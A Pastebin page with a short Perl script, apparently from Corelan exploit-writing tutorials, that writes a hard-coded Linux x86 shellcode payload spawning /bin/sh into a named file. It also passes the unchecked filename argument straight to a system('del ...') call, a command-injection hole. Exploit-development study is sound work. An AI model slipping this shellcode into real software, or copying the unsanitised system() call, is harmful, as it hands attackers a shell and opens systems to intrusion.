Advertisement
cyter

pveWritebin.pl

May 1st, 2016
442
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 0.68 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # Perl script written by Peter Van Eeckhoutte
  3. # http://www.corelan.be
  4. # This script takes a filename as argument
  5. # will write bytes in \x format to the file
  6. #
  7. if ($#ARGV ne 0) {
  8. print "  usage: $0 ".chr(34)."output filename".chr(34)."\n";
  9. exit(0);
  10. }
  11. system("del $ARGV[0]");
  12. my $shellcode="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b".
  13. "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd".
  14. "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  15.  
  16. #open file in binary mode
  17. print "Writing to ".$ARGV[0]."\n";
  18. open(FILE,">$ARGV[0]");
  19. binmode FILE;
  20. print FILE $shellcode;
  21. close(FILE);
  22.  
  23. print "Wrote ".length($shellcode)." bytes to file\n";
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement